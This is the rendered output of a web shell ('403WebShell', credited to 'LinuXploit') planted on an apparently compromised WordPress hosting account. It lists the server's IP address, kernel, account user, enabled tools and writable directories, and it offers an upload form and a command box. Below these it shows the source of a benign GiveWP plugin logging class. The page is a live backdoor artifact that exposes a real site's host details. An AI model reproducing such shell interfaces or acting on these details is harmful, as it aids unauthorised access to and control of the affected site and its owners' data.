Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.142.198.108
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Log/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Log/LogServiceProvider.php
<?php

namespace Give\Log;

use Give\Framework\Migrations\MigrationsRegister;
use Give\Helpers\Hooks;
use Give\Log\Commands\FlushLogsCommand;
use Give\Log\Helpers\Environment;
use Give\Log\Migrations\CompleteRemovedLegacyLogMigration;
use Give\Log\Migrations\CreateNewLogTable;
use Give\Log\Migrations\DeleteOldLogTables;
use Give\Log\Migrations\MigrateExistingLogs;
use Give\Log\Migrations\RemoveSensitiveLogs;
use Give\ServiceProviders\ServiceProvider;
use WP_CLI;

/**
 * Class LogServiceProvider
 * @package Give\Log
 *
 * @since 2.10.0
 */
class LogServiceProvider implements ServiceProvider
{
    /**
     * @inheritdoc
     */
    public function register()
    {
        global $wpdb;

        $wpdb->give_log = "{$wpdb->prefix}give_log";

        give()->singleton(Log::class);
        give()->singleton(LogRepository::class);
    }

    /**
     * @inheritdoc
     */
    public function boot()
    {
        $this->registerMigrations();

        if (defined('WP_CLI') && WP_CLI) {
            $this->registerCliCommands();
        }

        Hooks::addAction('give_register_updates', MigrateExistingLogs::class, 'register');

        // Hook up
        if (Environment::isLogsPage()) {
            Hooks::addAction('admin_enqueue_scripts', Assets::class, 'enqueueScripts');
        }
    }

    /**
     * Register migration
     */
    private function registerMigrations()
    {
        give(MigrationsRegister::class)->addMigrations([
            CreateNewLogTable::class,
            RemoveSensitiveLogs::class,
            CompleteRemovedLegacyLogMigration::class
        ]);

        // Check if Logs migration batch processing is completed
        if (give_has_upgrade_completed(MigrateExistingLogs::id())) {
            give(MigrationsRegister::class)->addMigration(DeleteOldLogTables::class);
        }
    }

    /**
     * Register CLI commands
     */
    private function registerCliCommands()
    {
        WP_CLI::add_command('give flush-logs', give()->make(FlushLogsCommand::class));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit